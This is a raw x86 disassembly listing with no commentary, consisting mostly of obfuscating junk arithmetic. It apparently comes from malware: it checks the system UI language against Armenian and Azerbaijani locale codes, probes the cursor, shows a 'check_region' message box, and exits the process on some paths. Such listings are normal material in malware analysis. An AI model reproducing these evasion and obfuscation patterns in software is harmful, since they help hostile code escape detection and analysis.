mov byte [str.6BlockUpgradeIfDriv], dl
movsx eax, byte [str.6BlockUpgradeIfDriv]
test eax, eax
jne 0x1004c0b8
mov dword [ebp - 0x2d0], 1
jmp 0x1004c0c2
mov dword [ebp - 0x2d0], 0
movzx ecx, word [ebp - 0x20]
mov edx, dword [ebp - 0x2d0]
lea eax, [edx + ecx - 0x1b812070]
not eax
mov word [0x100cd0b8], ax
movsx ecx, byte [0x100cd096]
imul edx, ecx, 0x129a
mov byte [0x100cd082], dl
movsx eax, byte [0x100cd083]
cdq
push 0x3b762
push 0x95bfa7cf
push edx
push eax
call fcn.10099890
mov dword [0x100cd100], eax
jmp case.default.0x1004c013
mov eax, dword [0x100cd0c0]
mov ecx, dword [0x100cd0c4]
xor eax, 0x3a2a
xor ecx, 0
mov dword [0x100cd0d0], eax
mov dword [0x100cd0d4], ecx
mov edx, dword [ebp - 0x78]
sub edx, 1
mov eax, dword [ebp - 0x74]
sbb eax, 0
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x74], eax
mov ecx, 0xb6bbb
mov dword [0x100cd0a0], 0x67cb8015
mov dword [0x100cd0a4], ecx
movzx edx, byte [0x100cd06e]
imul eax, edx, 0x3d6bb021
cdq
or eax, dword [0x100cd0a0]
or edx, dword [0x100cd0a4]
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], edx
mov dword [ebp - 0x38], 4
jmp case.default.0x1004c013
mov eax, dword [0x100cd104]
cdq
mov ecx, eax
add ecx, 0x7e77f2f8
mov eax, dword [0x100cd0ac]
cdq
add eax, ecx
mov dword [0x100cd0ac], eax
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp - 0x60]
mov byte [eax + 0x104551e4], cl
movzx edx, byte [ebp - 0x11]
imul edx, dword [ebp - 0x38]
xor edx, dword [ebp - 0x38]
mov dword [ebp - 0x38], edx
mov eax, dword [0x100cd088]
mov ecx, dword [0x100cd08c]
mov edx, dword [ebp - 0x48]
mov esi, dword [ebp - 0x44]
push ecx
push eax
push esi
push edx
call fcn.10099890
mov dword [0x100cd104], eax
xor eax, eax
mov dword [0x100cd0c0], 2
mov dword [0x100cd0c4], eax
jmp case.default.0x1004c013
mov cl, byte [0x100cd083]
mov byte [0x100cd047], cl
mov edx, 4
imul eax, edx, 0x2d1d
mov ecx, dword [ebp - 0x38]
mov dword [eax + 0x102d2a00], ecx
xor edx, edx
mov eax, dword [0x100cd0f8]
sub eax, dword [ebp - 0x60]
mov ecx, dword [0x100cd0fc]
sbb ecx, edx
mov edx, dword [0x100cd0f8]
sub edx, eax
mov eax, dword [0x100cd0fc]
sbb eax, ecx
mov dword [0x100cd0f8], edx
mov dword [0x100cd0fc], eax
movsx ecx, byte [0x100cd06f]
test ecx, ecx
jne 0x1004c259
mov dword [ebp - 0x2d4], 1
jmp 0x1004c263
mov dword [ebp - 0x2d4], 0
movzx edx, word [ebp - 0x18]
xor edx, dword [ebp - 0x2d4]
not edx
movsx eax, byte [str.6BlockUpgradeIfDriv]
movzx ecx, word [ebp - 0x20]
imul ecx, eax
sub ecx, edx
mov dword [0x100cd084], ecx
mov dx, word [ebp - 0x24]
sub dx, 1
mov word [ebp - 0x24], dx
mov eax, dword [ebp - 0xe4]
add eax, 0xb6
mov dword [ebp - 0x154], eax
call dword [sym.imp.USER32.dll_GetCursor]
mov dword [ebp - 0x998], eax
mov dword [ebp - 0x99c], 0
cmp dword [ebp - 0x998], 0
je 0x1004c2d4
mov ecx, dword [ebp - 0x99c]
push ecx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov dword [ebp - 0xbe8], eax
push 0
push 0x100a6400
push str.check_region
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
movsx eax, word [ebp - 0x2c]
cdq
mov dword [ebp - 0xab8], eax
mov dword [ebp - 0xab4], edx
mov edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 0xab8]
jne 0x1004c74d
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0xab4]
jne 0x1004c74d
mov ecx, 4
mov word [ebp - 0x24], cx
mov edx, dword [ebp - 0x60]
add edx, dword [ebp - 0x6c]
mov dword [ebp - 0x60], edx
movzx eax, byte [ebp - 0x14]
sar eax, 1
mov dword [ebp - 0x38], eax
movsx ecx, byte [0x100cd096]
add ecx, dword [0x100cd0e0]
movsx edx, byte [0x100cd096]
imul edx, ecx
mov byte [0x100cd096], dl
movzx eax, word [ebp - 0x18]
imul eax, eax, 0xf7
cdq
mov dword [0x100cd0d0], eax
mov dword [0x100cd0d4], edx
mov ecx, dword [0x100cd0e0]
sub ecx, 0x7ba0a6d7
mov word [ebp - 0x20], cx
movzx edx, word [ebp - 0x24]
mov dword [ebp - 0x2d8], edx
cmp dword [ebp - 0x2d8], 4
ja case.default.0x1004c392
mov eax, dword [ebp - 0x2d8]
jmp dword [eax*4 + 0x10055450]
movzx eax, word [ebp - 0x1c]
sub eax, 0x4ae6f831
cdq
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], edx
movsx ecx, word [0x100cd098]
movzx edx, word [ebp - 0x1c]
sub edx, ecx
mov word [ebp - 0x1c], dx
mov eax, 0x3933
mov word [ebp - 0x30], ax
movzx ecx, byte [ebp - 0x11]
test ecx, ecx
jne 0x1004c3dc
mov dword [ebp - 0x2dc], 1
jmp 0x1004c3e6
mov dword [ebp - 0x2dc], 0
movzx edx, byte [0x100cd06e]
add edx, dword [ebp - 0x2dc]
movzx eax, byte [ebp - 0x14]
add eax, edx
movzx ecx, byte [ebp - 0x13]
add ecx, eax
mov dword [0x100cd104], ecx
movzx eax, byte [0x100cd082]
cdq
mov ecx, eax
xor ecx, dword [0x100cd0b0]
movsx eax, word [ebp - 0x34]
sub eax, dword [0x100cd0ac]
cdq
mov esi, eax
sub esi, ecx
mov edi, dword [0x100cd118]
not edi
add edi, dword [ebp - 0x70]
push 0
push 0x3928d222
mov edx, dword [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x80]
push eax
call fcn.10099890
sub eax, edi
add eax, esi
mov dword [ebp - 0x38], eax
mov ecx, dword [0x100cdb38]
mov dword [0x100cd0e4], ecx
jmp case.default.0x1004c392
movsx eax, word [0x100cd0d8]
cdq
sub eax, 0x2ece6fc6
mov dword [ebp - 0x4c], eax
imul edx, dword [0x100cd0a8], 0x12
mov dword [0x100cd104], edx
mov al, byte [0x100cdb38]
mov byte [ebp - 0x13], al
movsx ecx, word [0x100cd108]
mov edx, dword [0x100cd0e4]
add edx, ecx
mov eax, dword [0x100cd0e4]
imul eax, edx
mov dword [0x100cd0e4], eax
movzx eax, byte [0x100cd06e]
cdq
mov dword [0x100cd0d0], eax
mov dword [0x100cd0d4], edx
movzx ecx, byte [ebp - 0x11]
shl ecx, 3
mov byte [ebp - 0x14], cl
jmp case.default.0x1004c392
movsx edx, byte [0x100cd083]
add edx, 0x7c9749c0
mov word [ebp - 0x20], dx
movsx eax, word [0x100cd0dc]
cdq
push 0xa0455
push 0x842bfa83
push edx
push eax
call fcn.10099890
mov ecx, eax
mov esi, edx
movzx eax, byte [ebp - 0x11]
cdq
mov edi, eax
mov ebx, edx
add edi, ecx
adc ebx, esi
movsx eax, word [0x100cd110]
cdq
add eax, dword [0x100cd0d0]
adc edx, dword [0x100cd0d4]
mov ecx, dword [ebp - 0x80]
sub ecx, eax
mov eax, dword [ebp - 0x7c]
sbb eax, edx
sub ecx, edi
sbb eax, ebx
not ecx
not eax
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], eax
movsx ecx, byte [0x100cd096]
movzx edx, word [ebp - 0x18]
sub edx, ecx
movzx eax, word [ebp - 0x18]
add eax, edx
mov word [ebp - 0x18], ax
mov ecx, dword [0x100cd0d0]
mov dword [0x100cd0e0], ecx
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
cmp dword [ebp - 0x40], 0
je 0x1004c566
movsx eax, word [0x100cd0e8]
mov dword [ebp - 0x2e0], eax
jmp 0x1004c573
movsx ecx, byte [str.6BlockUpgradeIfDriv]
mov dword [ebp - 0x2e0], ecx
mov dx, word [ebp - 0x2e0]
mov word [0x100cd0d8], dx
jmp case.default.0x1004c392
mov eax, dword [0x100cd0c0]
mov ecx, dword [0x100cd0c4]
mov dword [ebp - 0xac0], eax
mov dword [ebp - 0xabc], ecx
mov edx, dword [ebp - 0xac0]
or edx, dword [ebp - 0xabc]
jne 0x1004c5b7
mov dword [ebp - 0x2e4], 1
jmp 0x1004c5c1
mov dword [ebp - 0x2e4], 0
movsx eax, word [0x100cd110]
movzx ecx, word [ebp - 0x1c]
or ecx, eax
not ecx
movsx edx, byte [0x100cd047]
mov eax, dword [ebp - 0x3c]
imul eax, edx
sub eax, ecx
cdq
mov esi, eax
mov edi, edx
movzx eax, word [ebp - 0x24]
add eax, dword [ebp - 0x2e4]
cdq
mov ecx, dword [0x100cd0f0]
xor ebx, ebx
add ecx, dword [ebp - 0x78]
adc ebx, dword [ebp - 0x74]
push edx
push eax
push ebx
push ecx
call fcn.10099890
sub eax, esi
sbb edx, edi
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], edx
mov edx, dword [0x100cd0e0]
sub edx, dword [0x100cd0b0]
mov eax, dword [0x100cd0e0]
and eax, edx
mov dword [0x100cd0e0], eax
mov ecx, dword [0x100cd0ac]
add ecx, 0x88
mov word [0x100cd108], cx
xor edx, edx
mov eax, dword [0x100cd0b0]
sub eax, dword [0x100cd0e4]
mov ecx, dword [0x100cd0b4]
sbb ecx, edx
mov dword [0x100cd0b0], eax
mov dword [0x100cd0b4], ecx
mov eax, dword [ebp - 0x40]
cdq
push 0xdefde
push 0x4a5db43f
push edx
push eax
call fcn.10099890
mov word [ebp - 0x28], ax
movsx eax, word [ebp - 0x34]
shl eax, 4
cdq
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], edx
jmp case.default.0x1004c392
movsx eax, byte [ebp - 0x12]
cdq
mov ecx, dword [0x100cd0b0]
sub ecx, eax
mov eax, dword [0x100cd0b4]
sbb eax, edx
mov dword [ebp - 0xac8], ecx
mov dword [ebp - 0xac4], eax
mov ecx, dword [ebp - 0xac8]
or ecx, dword [ebp - 0xac4]
jne 0x1004c6cb
mov dword [ebp - 0x2e8], 1
jmp 0x1004c6d5
mov dword [ebp - 0x2e8], 0
mov edx, dword [0x100cd0e0]
not edx
sub edx, 0xd918
jne 0x1004c6f1
mov dword [ebp - 0x2ec], 1
jmp 0x1004c6fb
mov dword [ebp - 0x2ec], 0
mov eax, dword [ebp - 0x2e8]
add eax, dword [ebp - 0x2ec]
mov word [ebp - 0x24], ax
mov dword [ebp - 0x40], 0x75
movsx ecx, word [0x100cd0dc]
movsx edx, word [ebp - 0x28]
lea eax, [edx + ecx + 0x79ed1109]
mov word [ebp - 0x28], ax
movzx eax, byte [0x100cd06e]
cdq
add eax, dword [ebp - 0x80]
adc edx, dword [ebp - 0x7c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov ecx, dword [ebp - 0x40]
xor ecx, 0x5d4cfc63
mov dword [ebp - 0x3c], ecx
jmp 0x1004c7d4
movzx edx, byte [ebp - 0x14]
test edx, edx
jne 0x1004c7d4
movsx eax, word [ebp - 0x2c]
sub eax, dword [0x100cd0c8]
movsx ecx, word [ebp - 0x2c]
sub ecx, eax
mov word [ebp - 0x2c], cx
mov edx, dword [ebp - 0x64]
and edx, 0xb063
mov dword [0x100cd090], edx
mov eax, dword [0x100cd090]
imul eax, dword [0x100cd0ac]
mov dword [0x100cd090], eax
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0xbec], edx
add ecx, 0x370
mov word [0x100cd0d8], cx
mov eax, 2
imul ecx, eax, 0x18
movzx edx, word [ecx + 0x1045f6c8]
mov dword [ebp - 0x3c], edx
mov eax, dword [0x100cd0c8]
cdq
mov ecx, dword [0x100cd0b4]
push ecx
mov ecx, dword [0x100cd0b0]
push ecx
push edx
push eax
call fcn.10099890
mov dword [0x100cd0c8], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
mov word [ebp - 0x84], ax
mov edx, 0xb8a8
mov word [ebp - 0x30], dx
mov al, byte [ebp - 0x12]
mov byte [ebp - 0x11], al
mov ecx, dword [0x100cd084]
xor edx, edx
sub ecx, dword [ebp - 0x78]
sbb edx, dword [ebp - 0x74]
mov eax, dword [0x100cd084]
xor esi, esi
push edx
push ecx
push esi
push eax
call fcn.10099890
mov dword [0x100cd084], eax
movsx ecx, byte [0x100cd026]
movsx edx, word [ebp - 0x28]
add edx, ecx
mov word [ebp - 0x28], dx
mov eax, dword [0x100cd104]
cdq
sub eax, 0xd9053c92
mov word [0x100cd0d8], ax
mov eax, dword [ebp - 0x9a0]
or eax, 0x11a
cmp dword [ebp - 0x740], eax
je 0x10055414
push 0
push 0xc7505d7
mov ecx, dword [0x100cd0fc]
push ecx
mov edx, dword [0x100cd0f8]
push edx
call fcn.10099890
mov byte [ebp - 0x13], al
movzx eax, word [ebp - 0x18]
cdq
sub eax, 0x8d3fee85
mov word [0x100cd108], ax
mov eax, dword [ebp - 0x6c]
or eax, dword [ebp - 0x68]
jne 0x1004c88d
mov dword [ebp - 0x2f0], 1
jmp 0x1004c897
mov dword [ebp - 0x2f0], 0
mov ecx, dword [0x100cd0e0]
imul ecx, dword [ebp - 0x2f0]
xor edx, edx
mov eax, dword [0x100cd088]
mov esi, dword [0x100cd08c]
not eax
not esi
add eax, ecx
adc esi, edx
mov dword [ebp - 0xad0], eax
mov dword [ebp - 0xacc], esi
mov ecx, dword [ebp - 0xad0]
or ecx, dword [ebp - 0xacc]
jne 0x1004c8df
mov dword [ebp - 0x2f4], 1
jmp 0x1004c8e9
mov dword [ebp - 0x2f4], 0
movzx edx, byte [0x100cd027]
sub edx, dword [0x100cd0e4]
imul eax, edx, 0x98ca8ad8
test eax, eax
jne 0x1004c90c
mov dword [ebp - 0x2f8], 1
jmp 0x1004c916
mov dword [ebp - 0x2f8], 0
mov ecx, dword [ebp - 0x2f4]
imul ecx, dword [ebp - 0x2f8]
mov byte [0x100cd07f], cl
movzx eax, word [0x100cd10c]
add eax, 0x755d
cdq
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], edx
movzx edx, byte [ebp - 0x13]
push edx
push 0xd6
call fcn.1005f940
add esp, 8
cdq
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x80]
or eax, dword [ebp - 0x7c]
je 0x1004c9fd
movzx eax, word [ebp - 0x1c]
cdq
mov ecx, dword [0x100cd0c0]
mov esi, dword [0x100cd0c4]
add ecx, eax
adc esi, edx
mov edx, dword [0x100cd0c0]
mov eax, dword [0x100cd0c4]
and edx, ecx
and eax, esi
mov dword [0x100cd0c0], edx
mov dword [0x100cd0c4], eax
movsx ecx, byte [ebp - 0x12]
mov edx, dword [0x100cd0e4]
add edx, ecx
mov eax, dword [0x100cd0e4]
add eax, edx
mov dword [0x100cd0e4], eax
mov ecx, dword [ebp - 0x4c]
shl ecx, 3
mov word [ebp - 0x20], cx
mov ecx, dword [0x100cd088]
mov edx, dword [0x100cd08c]
mov dword [ebp - 0xbf0], edx
movsx eax, word [0x100cd110]
cdq
mov esi, eax
add esi, ecx
movsx eax, word [0x100cd110]
cdq
sub eax, esi
mov word [0x100cd110], ax
mov eax, 0x6f8c
mov word [ebp - 0x1c], ax
mov ecx, dword [0x100cd0a8]
add ecx, 0xe8d2
mov byte [ebp - 0x14], cl
jmp 0x1004caab
movsx edx, word [0x100cd0ec]
movzx eax, word [ebp - 0x30]
sub eax, edx
movzx ecx, word [ebp - 0x30]
add ecx, eax
mov word [ebp - 0x30], cx
mov edx, dword [0x100cd088]
mov eax, dword [0x100cd08c]
mov ecx, dword [0x100cd0b4]
push ecx
mov ecx, dword [0x100cd0b0]
push ecx
push eax
push edx
call fcn.10099890
mov dword [0x100cd088], eax
mov dword [0x100cd08c], edx
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x58]
sub edx, 0xfc93f9d4
sbb eax, 0x3ed5a
mov dword [0x100cd0d0], edx
mov dword [0x100cd0d4], eax
mov ecx, dword [0x100cd084]
xor edx, edx
mov dword [0x100cd0b0], ecx
mov dword [0x100cd0b4], edx
mov eax, dword [0x100cdb38]
mov dword [ebp - 0x3c], eax
movsx eax, word [ebp - 0x34]
cdq
push edx
push eax
mov ecx, dword [0x100cd0a4]
push ecx
mov edx, dword [0x100cd0a0]
push edx
call fcn.10099890
mov ecx, dword [0x100cd0a0]
sub ecx, eax
mov eax, dword [0x100cd0a4]
sbb eax, edx
mov dword [0x100cd0a0], ecx
mov dword [0x100cd0a4], eax
movzx ecx, word [ebp - 0x84]
cmp ecx, 0x42b
jne 0x1004ccb1
movzx edx, byte [0x100cd027]
imul eax, edx, 0x57
cdq
mov dword [0x100cd088], eax
mov dword [0x100cd08c], edx
movsx eax, word [0x100cd108]
and eax, dword [ebp - 0x4c]
movsx ecx, word [0x100cd108]
or ecx, eax
mov word [0x100cd108], cx
cmp dword [ebp - 0x64], 0
je 0x1004cb0a
mov edx, dword [0x100cd0e0]
xor eax, eax
mov dword [ebp - 0x69c], edx
mov dword [ebp - 0x698], eax
jmp 0x1004cb1c
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0x69c], ecx
mov dword [ebp - 0x698], edx
mov ax, word [ebp - 0x69c]
mov word [0x100cd110], ax
mov ecx, dword [0x100cd0e4]
sub ecx, 1
mov dword [0x100cd0e4], ecx
mov edx, dword [ebp - 0x70]
imul edx, dword [ebp - 0x64]
xor eax, eax
mov ecx, dword [0x100cd0b0]
not ecx
mov esi, dword [0x100cd0b4]
not esi
push eax
push edx
push esi
push ecx
call fcn.10099890
mov dword [ebp - 0xad8], eax
mov dword [ebp - 0xad4], edx
mov edx, dword [ebp - 0xad8]
or edx, dword [ebp - 0xad4]
jne 0x1004cb80
mov dword [ebp - 0x2fc], 1
jmp 0x1004cb8a
mov dword [ebp - 0x2fc], 0
movsx eax, byte [0x100cd047]
add eax, dword [ebp - 0x2fc]
cdq
mov dword [0x100cd0d0], eax
mov dword [0x100cd0d4], edx
movzx eax, byte [0x100cd027]
add eax, 0x5d6cb46
mov byte [0x100cd06e], al
movzx ecx, word [ebp - 0x18]
push ecx
call fcn.1005de10
add esp, 4
cdq
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], edx
mov edx, dword [0x100cd0a0]
or edx, dword [0x100cd0a4]
je 0x1004cca4
jmp 0x1004cbf9
jmp 0x1004cc20
jmp 0x1004cc56
jmp 0x1004cc62
jmp 0x1004cca4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 0x78]
or eax, dword [ebp - 0x74]
je 0x1004cfa0
mov ecx, dword [0x100cd0e4]
sub ecx, dword [0x100cd0c8]
je 0x1004cce0
movzx edx, word [ebp - 0x1c]
cmp dword [ebp - 0x64], edx
jae 0x1004cce0
mov dword [ebp - 0x304], 1
jmp 0x1004ccea
mov dword [ebp - 0x304], 0
movsx eax, byte [0x100cd096]
test eax, eax
jne 0x1004cd01
mov dword [ebp - 0x300], 1
jmp 0x1004cd0b
mov dword [ebp - 0x300], 0
movsx ecx, word [ebp - 0x28]
add ecx, dword [ebp - 0x300]
jne 0x1004cd2e
movsx edx, word [0x100cd0e8]
test edx, edx
jne 0x1004cd2e
mov dword [ebp - 0x308], 0
jmp 0x1004cd38
mov dword [ebp - 0x308], 1
mov eax, dword [ebp - 0x304]
cmp eax, dword [ebp - 0x308]
jge 0x1004cf50
movzx ecx, byte [0x100cd07f]
push ecx
movzx edx, byte [ebp - 0x11]
push edx
push 0
movsx eax, byte [0x100cd096]
push eax
push 0x94
push 0
push 0
call fcn.1005d580
add esp, 0x1c
xor ecx, ecx
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], ecx
mov edx, dword [ebp - 0x6c]
or edx, dword [ebp - 0x68]
je 0x1004ce59
movsx eax, byte [0x100cd06f]
test eax, eax
je 0x1004ce08
movsx ecx, byte [0x100cd026]
movzx edx, byte [ebp - 0x13]
imul edx, ecx
movzx eax, byte [ebp - 0x13]
or eax, edx
mov byte [ebp - 0x13], al
mov cx, word [0x100cdb38]
mov word [0x100cd0ec], cx
mov edx, 0x20af0
mov dword [0x100cd0f8], 0x53ac0015
mov dword [0x100cd0fc], edx
movzx eax, word [ebp - 0x1c]
imul ecx, eax, 0x78
mov dword [0x100cd0ac], ecx
mov eax, dword [ebp - 0x80]
mov edx, dword [ebp - 0x7c]
mov cl, 7
call fcn.100998f0
mov byte [0x100cd06e], al
imul edx, dword [0x100cd0f0], 0x5e0c5ecb
xor eax, eax
mov ecx, dword [ebp - 0x80]
sub ecx, edx
mov edx, dword [ebp - 0x7c]
sbb edx, eax
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x7c], edx
jmp 0x1004ce54
cmp dword [ebp - 0x3c], 0
je 0x1004ce54
mov eax, dword [0x100cd088]
mov ecx, dword [0x100cd08c]
push 0
push 0xc17b
push ecx
push eax
call fcn.10099890
mov byte [ebp - 0x11], al
movsx edx, byte [ebp - 0x12]
mov dword [0x100cd0c8], edx
movzx eax, word [ebp - 0x1c]
sar eax, 6
mov word [ebp - 0x20], ax
mov ecx, dword [ebp - 0x64]
sub ecx, dword [0x100cd0c8]
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x40]
sub edx, dword [ebp - 0x40]
mov dword [ebp - 0x40], edx
jmp 0x1004cf4e
mov eax, dword [0x100cd0a0]
or eax, dword [0x100cd0a4]
jne 0x1004cf4e
cmp dword [ebp - 0x38], 0
jne 0x1004ce7c
mov dword [ebp - 0x30c], 1
jmp 0x1004ce86
mov dword [ebp - 0x30c], 0
movsx ecx, byte [0x100cd083]
not ecx
add ecx, dword [0x100cd084]
jne 0x1004cea3
mov dword [ebp - 0x310], 1
jmp 0x1004cead
mov dword [ebp - 0x310], 0
mov edx, dword [ebp - 0x30c]
sub edx, dword [0x100cd0ac]
not edx
xor edx, dword [ebp - 0x310]
mov dword [0x100cd0f0], edx
movsx eax, word [0x100cd108]
cdq
mov ecx, 0x5e8c50be
sub ecx, eax
not ecx
mov word [ebp - 0x30], cx
movsx edx, word [0x100cd0dc]
test edx, edx
jne 0x1004cefb
xor eax, eax
mov dword [ebp - 0x6a4], 1
mov dword [ebp - 0x6a0], eax
jmp 0x1004cf06
xorps xmm0, xmm0
movlpd qword [ebp - 0x6a4], xmm0
mov ecx, dword [ebp - 0x6a4]
and ecx, 0xe7aa1971
mov edx, dword [ebp - 0x6a0]
and edx, 0xd91a6
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], edx
mov eax, dword [0x100cd104]
cdq
mov ecx, dword [0x100cd11c]
push ecx
mov ecx, dword [0x100cd118]
push ecx
push edx
push eax
call fcn.10099890
mov ecx, eax
mov eax, dword [0x100cd104]
cdq
add eax, ecx
mov dword [0x100cd104], eax
jmp 0x1004cf9b
cmp dword [ebp - 0x3c], 0
je 0x1004cf9b
mov edx, 0xea0f
mov word [ebp - 0x20], dx
mov eax, dword [ebp - 0x78]
sub eax, 0x70
mov byte [0x100cd096], al
movsx ecx, word [ebp - 0x2c]
shl ecx, 4
mov word [0x100cd0ec], cx
movzx edx, byte [ebp - 0x14]
imul eax, edx, 0x81
mov dword [0x100cd0ac], eax
mov ecx, dword [0x100cd090]
add ecx, 0xd116
xor edx, edx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], edx
jmp 0x1004d11a
cmp dword [ebp - 0x40], 0
jne 0x1004cfb2
mov dword [ebp - 0x314], 1
jmp 0x1004cfbc
mov dword [ebp - 0x314], 0
movsx eax, word [0x100cd0ec]
cmp dword [ebp - 0x314], eax
jl 0x1004cfd7
mov dword [ebp - 0x318], 1
jmp 0x1004cfe1
mov dword [ebp - 0x318], 0
mov ecx, dword [ebp - 0x318]
sub ecx, 0xf0ce46e
je 0x1004d11a
mov edx, dword [0x100cd0f0]
mov eax, 1
shl eax, 2
mov byte [eax + 0x10419990], dl
movsx ecx, byte [str.6BlockUpgradeIfDriv]
add ecx, 0x3328e5a
mov byte [0x100cd027], cl
mov dword [ebp - 0x70], 0xe6
mov edx, dword [ebp - 0x6c]
or edx, dword [ebp - 0x68]
jne 0x1004d035
mov dword [ebp - 0x324], 1
jmp 0x1004d03f
mov dword [ebp - 0x324], 0
movzx eax, word [ebp - 0x18]
cdq
push edx
push eax
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, dword [ebp - 0x80]
push ecx
call fcn.10099890
mov dword [ebp - 0xae0], eax
mov dword [ebp - 0xadc], edx
mov edx, dword [ebp - 0xae0]
or edx, dword [ebp - 0xadc]
jne 0x1004d079
mov dword [ebp - 0x328], 1
jmp 0x1004d083
mov dword [ebp - 0x328], 0
cmp dword [ebp - 0x70], 0
jne 0x1004d095
mov dword [ebp - 0x31c], 1
jmp 0x1004d09f
mov dword [ebp - 0x31c], 0
mov eax, dword [ebp - 0x78]
or eax, dword [ebp - 0x74]
jne 0x1004d0b3
mov dword [ebp - 0x320], 1
jmp 0x1004d0bd
mov dword [ebp - 0x320], 0
mov ecx, dword [ebp - 0x31c]
add ecx, dword [ebp - 0x320]
movzx edx, word [0x100cd10c]
sub edx, dword [0x100cd0e4]
add edx, ecx
jne 0x1004d0e6
mov dword [ebp - 0x32c], 1
jmp 0x1004d0f0
mov dword [ebp - 0x32c], 0
mov eax, dword [ebp - 0x324]
sub eax, dword [0x100cd0f0]
add eax, dword [ebp - 0x328]
add eax, dword [ebp - 0x32c]
mov dword [ebp - 0x4c], eax
movsx ecx, word [ebp - 0x34]
movzx edx, word [ebp - 0x1c]
imul edx, ecx
mov word [ebp - 0x1c], dx
movzx eax, word [ebp - 0x84]
cmp eax, 0x42c
je 0x1004d13b
movzx ecx, word [ebp - 0x84]
cmp ecx, 0x82c
jne 0x1004d1fa
movsx edx, word [ebp - 0x2c]
add edx, dword [ebp - 0x38]
mov word [ebp - 0x2c], dx
mov eax, dword [0x100cd0ac]
sub eax, 1
mov dword [0x100cd0ac], eax
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
sub ecx, dword [ebp - 0x54]
sbb edx, dword [ebp - 0x50]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], edx
mov eax, dword [0x100cd0e4]
shr eax, 4
mov byte [0x100cd06f], al
movzx eax, byte [0x100cd06e]
add eax, 0x78bf
cdq
add eax, dword [0x100cd118]
adc edx, dword [0x100cd11c]
mov dword [0x100cd118], eax
mov dword [0x100cd11c], edx
movsx eax, word [0x100cd0e8]
sub eax, 0xc8
cdq
mov ecx, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x58]
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], esi
mov edx, dword [0x100cd0f8]
add edx, 0xbd01
mov word [ebp - 0x20], dx
mov eax, 1
imul ecx, eax, 3
movsx dx, byte [ecx + 0x104551e4]
mov word [0x100cd0dc], dx
movsx eax, word [0x100cd0ec]
movzx ecx, byte [ebp - 0x13]
sub ecx, eax
movzx edx, byte [ebp - 0x13]
add edx, ecx
mov byte [ebp - 0x13], dl
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x54
push 0xffffffffffffffbb
call fcn.1005fe20
add esp, 8
cbw
mov word [ebp - 0x34], ax
movsx ecx, word [ebp - 0x34]
test ecx, ecx
je 0x1004d44f
movsx edx, word [0x100cd098]
movsx eax, byte [0x100cd06f]
cmp eax, edx
jne 0x1004d236
mov dword [ebp - 0x330], 1
jmp 0x1004d240
mov dword [ebp - 0x330], 0
movsx ecx, byte [0x100cd06f]
cmp ecx, 0x1f
jne 0x1004d258
mov dword [ebp - 0x334], 1
jmp 0x1004d262
mov dword [ebp - 0x334], 0
mov edx, dword [ebp - 0x330]
cmp edx, dword [ebp - 0x334]
jge 0x1004d308
movsx eax, word [0x100cd098]
imul ecx, eax, 0xfc80720d
mov word [0x100cd108], cx
imul edx, dword [ebp - 0x70], 0x60812bf9
mov dword [0x100cd084], edx
mov eax, dword [0x100cd0e4]
add eax, 0x37
xor ecx, ecx
push ecx
push eax
mov edx, dword [0x100cd0d4]
push edx
mov eax, dword [0x100cd0d0]
push eax
call fcn.10099890
mov dword [0x100cd0d0], eax
mov dword [0x100cd0d4], edx
mov ecx, dword [0x100cd0c0]
mov edx, dword [0x100cd0c4]
mov dword [ebp - 0xbf4], edx
movsx eax, byte [0x100cd096]
cdq
mov esi, eax
add esi, ecx
movsx eax, byte [0x100cd096]
cdq
and eax, esi
mov byte [0x100cd096], al
movsx eax, byte [ebp - 0x12]
mov ecx, dword [0x100cd100]
add eax, ecx
cdq
mov dword [0x100cd0c0], eax
mov dword [0x100cd0c4], edx
jmp 0x1004d44a
mov edx, 0xada1666d
or edx, 0x8b13c
je 0x1004d3b9
movsx eax, word [0x100cd0e8]
test eax, eax
je 0x1004d3b9
mov cx, word [ebp - 0x28]
sub cx, 1
mov word [ebp - 0x28], cx
movsx edx, byte [0x100cd047]
movsx eax, word [0x100cd098]
imul eax, edx
movsx ecx, word [0x100cd098]
sub ecx, eax
mov word [0x100cd098], cx
mov edx, 8
imul eax, edx, 0x907d
mov cx, word [eax + 0x10127a48]
mov word [ebp - 0x24], cx
movzx eax, byte [ebp - 0x13]
cdq
mov ecx, dword [0x100cd0a0]
sub ecx, eax
mov eax, dword [0x100cd0a4]
sbb eax, edx
push eax
push ecx
mov ecx, dword [0x100cd0a4]
push ecx
mov edx, dword [0x100cd0a0]
push edx
call fcn.10099890
mov dword [0x100cd0a0], eax
